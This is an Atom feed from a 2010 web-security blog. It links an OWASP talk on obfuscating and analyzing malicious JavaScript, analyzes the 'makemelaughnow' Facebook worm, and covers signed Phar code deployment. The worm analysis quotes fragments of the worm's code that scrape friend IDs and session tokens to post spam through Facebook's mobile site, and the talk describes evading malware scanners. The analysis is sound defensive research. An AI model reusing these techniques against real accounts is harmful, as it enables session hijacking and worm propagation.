<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3650259870998252242</id><updated>2010-09-08T19:41:55.421+02:00</updated><title type='text'>the world. according to koto</title><subtitle type='html'>various webdevelopment-related stuff, written by some random guy who enjoys javascript</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default?orderby=updated'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-285895966755125184</id><published>2010-06-11T11:24:00.003+02:00</published><updated>2010-09-08T19:41:55.432+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='owasp'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><title type='text'>Malicious Javascript talk - materials</title><content type='html'>I've published the talk from yesterday's OWASP meeting:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update: &lt;/b&gt;English version&lt;br /&gt;
&lt;br /&gt;
&lt;div id="__ss_5156593" style="width: 425px;"&gt;&lt;b style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/owaspmaliciousjavascripten" title="Creating, obfuscating and analyzing malware JavaScript"&gt;Creating, obfuscating and analyzing malware JavaScript&lt;/a&gt;&lt;/b&gt;&lt;object height="355" id="__sse5156593" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-malicious-javascript-en-100908112334-phpapp02&amp;stripped_title=owaspmaliciousjavascripten" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse5156593" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-malicious-javascript-en-100908112334-phpapp02&amp;stripped_title=owaspmaliciousjavascripten" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/kkotowicz"&gt;Krzysztof Kotowicz&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div id="__ss_4446174" style="width: 425px;"&gt;&lt;b style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/malicious-javascript" title="Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript"&gt;Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript&lt;/a&gt;&lt;/b&gt;&lt;object height="355" id="__sse4446174" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-malicious-javascript-100608195227-phpapp01&amp;stripped_title=malicious-javascript" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse4446174" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-malicious-javascript-100608195227-phpapp01&amp;stripped_title=malicious-javascript" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/kkotowicz"&gt;Krzysztof Kotowicz&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
A/V recording of the talk - &lt;a href="http://www.varlog.pl/2010/06/czerwcowe-spotkanie-owasp-video/"&gt;varlog.pl&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Also - all the &lt;a href="http://github.com/koto/owasp-malicious-javascript"&gt;code from demonstrations&lt;/a&gt; is now published on GitHub, so you could take a look for yourselves (there even is an additional attack I forgot while giving the talk). Thank you for all &lt;a href="http://blip.pl/s/93648825"&gt;the&lt;/a&gt; &lt;a href="http://blip.pl/s/93721504"&gt;kind&lt;/a&gt; &lt;a href="http://blip.pl/s/93650710"&gt;words&lt;/a&gt; - I really appreciate it. Personally I found &lt;a href="http://wampir.mroczna-zaloga.org/"&gt;Pawel&lt;/a&gt;'s talk much more interesting and I kept taking notes as crazy :) Congratulations to you, Pawel! I'd like to hear your critical feedback on the talk - what one thing could be changed to make it better, were the examples ok, or maybe there was some confusion here and there, which part was boring etc. I'm still learning, although I must say that I really liked the subject presented.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-285895966755125184?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/285895966755125184/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=285895966755125184' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/285895966755125184'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/285895966755125184'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/06/malicious-javascript-talk-materials.html' title='Malicious Javascript talk - materials'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-1409868636277812204</id><published>2010-09-08T19:39:00.000+02:00</published><updated>2010-09-08T19:39:25.275+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='jsunpack'/><title type='text'>Creating, obfuscating and analyzing malware JavaScript</title><content type='html'>I've translated my talk on &lt;a href="http://blog.kotowicz.net/2010/06/malicious-javascript-talk-materials.html"&gt;Analyzing and Obfuscating Javascript-based malware&lt;/a&gt; to English:&lt;br /&gt;
&lt;br /&gt;
Malware attacks on unaware Internet users’ browsers are becoming more  and  more common. New techniques for bypassing filters used by security  vendors emerge. In turn, the filters are getting better, new analyzing  tools are developed - the war continues. At the presentation you will  learn how crackers are trying to hamper the work of security engineers,  and how reversers are overcoming those problems. Emphasis will be placed  on the weaknesses of automated tools - we’ll try to avoid detection by  jsunpack and Capture-HPC, we’ll also trick Dean Edwards’ Unpacker. &lt;br /&gt;
&lt;div id="__ss_5156593" style="width: 425px;"&gt;&lt;b style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/owaspmaliciousjavascripten" title="Creating, obfuscating and analyzing malware JavaScript"&gt;Creating, obfuscating and analyzing malware JavaScript&lt;/a&gt;&lt;/b&gt;&lt;object height="355" id="__sse5156593" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-malicious-javascript-en-100908112334-phpapp02&amp;stripped_title=owaspmaliciousjavascripten" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse5156593" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-malicious-javascript-en-100908112334-phpapp02&amp;stripped_title=owaspmaliciousjavascripten" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/kkotowicz"&gt;Krzysztof Kotowicz&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;The materials for the demos are on &lt;a href="http://github.com/koto/owasp-malicious-javascript"&gt;github&lt;/a&gt;. For Polish viewers - see the &lt;a href="http://blog.kotowicz.net/2010/06/malicious-javascript-talk-materials.html"&gt;polish version of the talk&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The talk mentions &lt;a href="http://jsunpack.blogspot.com/"&gt;jsunpack&lt;/a&gt; vulnerability where malware could detect that functions have been overloaded - I've done some research on how jsunpack could fix this by &lt;a href="http://blog.kotowicz.net/2010/06/ultimate-tostring-override.html"&gt;overriding &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;toString&lt;/span&gt; better&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1409868636277812204?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/1409868636277812204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1409868636277812204' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1409868636277812204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1409868636277812204'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/09/creating-obfuscating-and-analyzing.html' title='Creating, obfuscating and analyzing malware JavaScript'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-657114555183189616</id><published>2010-08-30T15:22:00.004+02:00</published><updated>2010-08-30T18:40:42.157+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><title type='text'>MakeMeLaughNow - analysis of new generation facebook worm</title><content type='html'>A new facebook worm malware application '&lt;b&gt;makemelaughnow&lt;/b&gt;' is out in the wild.&lt;br /&gt;
It escapes FB sandbox mechanisms and activates BEFORE displaying the credentials form -&amp;nbsp; only by visiting application home page you send messages to your friends and update your status.&lt;br /&gt;
As &lt;a href="http://niebezpiecznik.pl/post/uwaga-na-facebookowa-aplikacje-makemelaughnow/"&gt;the news on niebezpiecznik.pl&lt;/a&gt; say, it uses Facebook&amp;nbsp;mobile site (&lt;a href="http://touch.facebook.com/"&gt;touch.facebook.com&lt;/a&gt;) to propagate. I did a quick analysis - Let's take a look on what's exactly going on in the app code.&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_yeezYoHslRg/THuQiVE1HeI/AAAAAAAAEZM/79xCpsoqrxA/s1600/stunts1.gif" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_yeezYoHslRg/THuQiVE1HeI/AAAAAAAAEZM/79xCpsoqrxA/s320/stunts1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Disclaimer: &lt;/b&gt;Don't do this at home - I'm a professional stunt driver and like to live dangerously. Don't do this analysis on your standard Facebook account, use a virtual machine in case there's some exploit embedded etc. When I found out that touch.facebook.com is involved, I just added:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;127.0.0.1 touch.facebook.com
&lt;/pre&gt;&lt;br /&gt;
to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;/etc/hosts&lt;/span&gt; (that redirects all requests to touch.facebook.com to my computer), but please be more careful. You've been warned.&lt;br /&gt;
&lt;h2&gt;Quick lookaround&lt;/h2&gt;The app homepage looks like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_yeezYoHslRg/THuRnDaUxzI/AAAAAAAAEZU/chdJTPnD1Yk/s1600/Make+Me+Laugh+on+Facebook+%283%29_1283165203664.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/_yeezYoHslRg/THuRnDaUxzI/AAAAAAAAEZU/chdJTPnD1Yk/s320/Make+Me+Laugh+on+Facebook+%283%29_1283165203664.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
All you can see is some ads displayed. But a lot of things happen underneath. Let's look at the Firebug net panel:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_yeezYoHslRg/THuSuNtsu-I/AAAAAAAAEZc/QTRXwAUWbHw/s1600/firebug.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_yeezYoHslRg/THuSuNtsu-I/AAAAAAAAEZc/QTRXwAUWbHw/s320/firebug.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The app, even before requesting any permissions from you, sends requests to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;touch.facebook.com&lt;/span&gt; possibly sending messages and performing other actions on your behalf. These are marked red in the screenshot (I block touch site). After that the ads from &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;be2.pl&lt;/span&gt; are downloaded. So the app is clearly some sort of malware.&lt;br /&gt;
&lt;h2&gt;Getting the code&lt;/h2&gt;The actual app code and HTML sits in &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;http://apps.facebook.com/fbml/fbjs_ajax_proxy.php?__a=1&lt;/span&gt;. It is sanboxed in &lt;a href="http://www.json.org/"&gt;JSON&lt;/a&gt; file and looks like this:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_yeezYoHslRg/THuXALD62KI/AAAAAAAAEZk/k4saAnOht5A/s1600/firebug2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_yeezYoHslRg/THuXALD62KI/AAAAAAAAEZk/k4saAnOht5A/s320/firebug2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
After downloading the JSON file locally and extracting it (I used PHP &amp;amp; Spidermonkey for extraction and Eclipse for formatting) we get the final app code (see &lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step2_2.js"&gt;step2_2.js&lt;/a&gt; ). &lt;br /&gt;
&lt;h2&gt;Sandbox&lt;/h2&gt;All Facebook apps are &lt;a href="http://en.wikipedia.org/wiki/Sandbox_%28computer_security%29"&gt;sandboxed&lt;/a&gt; to disallow them from referring global window object (so that they can't change Facebook page, redirect, send hidden forms etc). For this particular analysis, the important things to notice are:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;JS code and objects are in prefixed namespace (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;aBIGNUMBER_variable_name&lt;/span&gt;)&lt;/li&gt;
&lt;li&gt;HTML objects have namespaced IDs (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;div id="appBIGNUMBER_name"&amp;gt;&lt;/span&gt;)&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$FBJS&lt;/span&gt; object &lt;a href="http://w2spconf.com/2009/papers/s3p2.pdf"&gt;is used to prevent&lt;/a&gt; app from referring to global window object. For our purpose you can assume that:&lt;/li&gt;

&lt;ul&gt;&lt;li style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$FBJS.idx(a) === a&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$FBJS.ref(this) === this&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;For convenience, I replaced the BIGNUMBER with 'x' character.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;All the code used in this post is hosted on &lt;a href="http://github.com/koto/owasp-malicious-javascript/tree/master/makemelaugh"&gt;github.com&lt;/a&gt; - take a look, it's really interesting.&lt;br /&gt;
&lt;ul&gt;&lt;/ul&gt;&lt;h2&gt;Analysis &lt;/h2&gt;&lt;h3&gt;Obfuscation method&lt;/h3&gt;The app, after being initialized, starts with the following statement (line &lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step2_2.js#L111"&gt;111&lt;/a&gt;):&lt;br /&gt;
&lt;pre class="js" name="code"&gt;ax_domethod = ax_findvalues.firefunc(ax_document.getElementById('help_container').getFirstChild().getTitle());&amp;nbsp; &lt;/pre&gt;So it gets the title of one of its DOM elements and passes it to some function. What's in the title then? Looking at the page source (&lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/app.html"&gt;app.html&lt;/a&gt;) we can see that it looks strange:&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;div id="app100124540047022_m" 
  class="m" 
  fbcontext="6ff9e32a4c8c"
  title="choy:ketmdslqxb.ujpzgvnra/fiw_?="/&amp;gt;
&lt;/pre&gt;It looks as if the title is some sort of a key that could be used to decrypt the hidden application variables. &lt;b&gt;And we're right&lt;/b&gt;. In fact, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;choy:ketmdslqxb.ujpzgvnra/fiw_?=&lt;/span&gt; is a dictionary - &lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step3.js#L33"&gt;ax_create.help()&lt;/a&gt; function picks characters from this dictionary to form URLs, field names etc. The character offsets are defined in, slightly obfuscated &lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step3.js#L73"&gt;ax_meth&lt;/a&gt; variable.&lt;br /&gt;
&lt;h3&gt;Scraping data&lt;/h3&gt;Ok, so the app is obfuscated and uses DOM object to decrypt its variables. But what does it do?&lt;br /&gt;
Let's look at &lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step3.js#L131"&gt;ax_findvalues&lt;/a&gt;:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;var ax_findvalues = {
a : ((new ax_RegExp('st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22', ''))), 
    // &amp;lt;form action="http://www.facebook.com/wallpost.php" post_form_id value
b : ((new ax_RegExp('b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22', ''))), 
    // value = type="hidden" id="fb_dtsg" name="fb_dtsg"
c : ((new ax_RegExp('p.o..le\\.p.p\\?i.=(\\d+)\\\x22', ''))),
    // href="http://www.facebook.com/profile.php?id=xxx" your profile ID
d : ((new ax_RegExp('na.e=\\\x22i.s\\[]\\\x22 v.l.e=\\\x22(.*?)\\\x22', 'gi'))), 
    // name=ids[] value= -- your friend ids
//...
&lt;/pre&gt;This variable contains some interesting &lt;a href="http://en.wikipedia.org/wiki/Regular_expression"&gt;regular expressions&lt;/a&gt; - these are used to extract all your friend IDs, your own ID and a few unique credentials from HTML code embedded by Facebook with the application. But the app could do nothing with this data, as we're protected by sandboxing, right? Well, not really.&lt;br /&gt;
&lt;h3&gt;Exploited by touching &lt;/h3&gt;Looking deeper into the code, we could see that the obfuscated data is:&lt;br /&gt;
&lt;pre class="text" name="code"&gt;m=http://touch.facebook.com/message_send.php
ftarg=fra
su=http://touch.facebook.com/submit_status.php (status update)
pid=post_form_id
lp=http://touch.facebook.com/reqs.php?id=
fhome=http://touch.facebook.com/home.php
fbd=fb_dtsg
hc=fb_dtsg
&lt;/pre&gt;So, probably, the app is contacting touch.facebook.com to send messages and submit new status. Again, &lt;b&gt;we're right&lt;/b&gt;. The actual process is:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt; &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ax_findvalues.firefunc()&lt;/span&gt; extracts your friend IDs and other data into &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ax_sheep&lt;/span&gt;, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ax_params&lt;/span&gt; variables &lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step3.js#L264"&gt;(line 264)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;new form and iframe are created&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ax_methodaction&lt;/span&gt; (&lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step3.js#L183"&gt;line 183&lt;/a&gt;) fills out the form to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;touch.facebook.com&lt;/span&gt; with this message to a few (max.20) of your friends:&lt;i&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
i thought of you...&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/&lt;/b&gt;&lt;/i&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;If you have more than 500 friends, or less then 2, a status update: "&lt;b&gt;only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/&lt;/b&gt;" is sent instead&lt;/li&gt;
&lt;li&gt;You become a fan of the app (&lt;a href="http://github.com/koto/owasp-malicious-javascript/blob/master/makemelaugh/step3.js#L297"&gt;line 297&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;The ad is displayed and the app cleans up its objects&lt;/li&gt;
&lt;/ol&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;What we can see here, is that an app is probably using a vulnerability in Facebook where mobile site is using the same credentials as normal site, but is not protected by sandbox mechanism. So the app, instead of asking for permissions to e.g. update your status, silently gets the session data from DOM and sends the requests through &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;touch.facebook.com&lt;/span&gt;, avoiding sandbox protection and spreading quickly - so it's similar to &lt;a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29"&gt;CSRF&lt;/a&gt; / session hijacking vulnerability. It's clearly an error on Facebook site that's being exploited. Lesson to be learned - &lt;b&gt;don't forget about your mobile sites&lt;/b&gt;. &lt;br /&gt;
&lt;ol&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-657114555183189616?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/657114555183189616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=657114555183189616' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/657114555183189616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/657114555183189616'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/08/makemelaughnow-analysis-of-new.html' title='MakeMeLaughNow - analysis of new generation facebook worm'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_yeezYoHslRg/THuQiVE1HeI/AAAAAAAAEZM/79xCpsoqrxA/s72-c/stunts1.gif' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-5505166189627692180</id><published>2010-08-07T11:45:00.002+02:00</published><updated>2010-08-09T23:06:47.625+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pki'/><category scheme='http://www.blogger.com/atom/ns#' term='remote'/><category scheme='http://www.blogger.com/atom/ns#' term='openssl'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='signing'/><category scheme='http://www.blogger.com/atom/ns#' term='phar'/><category scheme='http://www.blogger.com/atom/ns#' term='pear'/><category scheme='http://www.blogger.com/atom/ns#' term='hardening'/><title type='text'>Hardening PHP: How to securely include remote code (part 3)</title><content type='html'>In this last post of the series we learn how to use Phar archives and OpenSSL together to build a secure remote code deployment framework. I present &lt;a href="http://github.com/koto/phar-util"&gt;PharUtil&lt;/a&gt; - the library adding convenience and security to Phar functionality.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;Previously on blog&lt;/h2&gt;&lt;a href="http://blog.kotowicz.net/2010/07/re-hardening-php-how-to-securely.html"&gt;Last time&lt;/a&gt; I talked about using &lt;a href="http://en.wikipedia.org/wiki/Public-key_cryptography"&gt;Public key cryptography&lt;/a&gt; to digitally sign a PHP code. You can &lt;b&gt;sign the code with you &lt;i&gt;private&lt;/i&gt; key&lt;/b&gt; and anyone later on could verify that the code is yours by &lt;b&gt;checking the signature with your &lt;i&gt;public&lt;/i&gt; key&lt;/b&gt; (that you need to make available somewhere).&lt;br /&gt;
&lt;br /&gt;
Code signing solves the problem of secure remote code deployment. Going back to our client-consumer &amp;amp; server-producer architecture:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_yeezYoHslRg/TFG_-q_bL1I/AAAAAAAAEVQ/rD3DzqZly7Y/s1600/Remote+Code+Execution+-+Example+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="126" src="http://1.bp.blogspot.com/_yeezYoHslRg/TFG_-q_bL1I/AAAAAAAAEVQ/rD3DzqZly7Y/s400/Remote+Code+Execution+-+Example+3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Server having the private key and the code, packages up the code as Phar archive and signs it. Client, having the public key, downloads the code from the server, and, to be sure that it's authentic, verifies it. If the code passes signature verification, it can be safely used.&lt;br /&gt;
&lt;br /&gt;
While Phar archives solved the problem of packaging the code and signing/verifying it, we were only missing the final glue - Phar doesn't work remotely, so there is no "connection" between server and client.&lt;br /&gt;
&lt;h2&gt;The missing piece&lt;/h2&gt;Now is the time to introduce the missing piece: the &lt;a href="http://github.com/koto/phar-util"&gt;PharUtil&lt;/a&gt; library.&lt;br /&gt;
PharUtil library is:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;a set of command line utilities for working with Phar&lt;/li&gt;
&lt;li&gt;PHP class that downloads and verifies the remote Phar archive&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;With PharUtil secure code download is that simple: &lt;br /&gt;
&lt;pre class="php" name="code"&gt;// all verified Phars will be copied to lib/ directory
$verifier = new PharUtil_RemotePharVerifier('/tmp', './lib', './cert/public.pem');
try {
  $verified_file = $verifier-&amp;gt;fetch("http://example.com/library.phar");
} catch (Exception $e) {
 // verification failed
 exit();
}

// $verified_file contains absolute filepath of a downloaded file
// with signature verified from './cert/public.pem'
include_once $verified_file;
// or
include_once 'phar://' . $verified_file . '/some/file/within.php';
// or
echo file_get_contents('phar://' . $verified_file . '/readme.txt');
?&amp;gt;
&lt;/pre&gt;Backstage:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;A Phar file is downloaded to &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;/tmp&lt;/span&gt; 'staging' directory&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Local public key is attached to the Phar&lt;/li&gt;
&lt;li&gt;A public key is checked&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Phar is validated to be OpenSSL signed with the given public key&lt;/li&gt;
&lt;li&gt;Phar file is moved to &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;lib/&lt;/span&gt; directory to be used by application&lt;/li&gt;
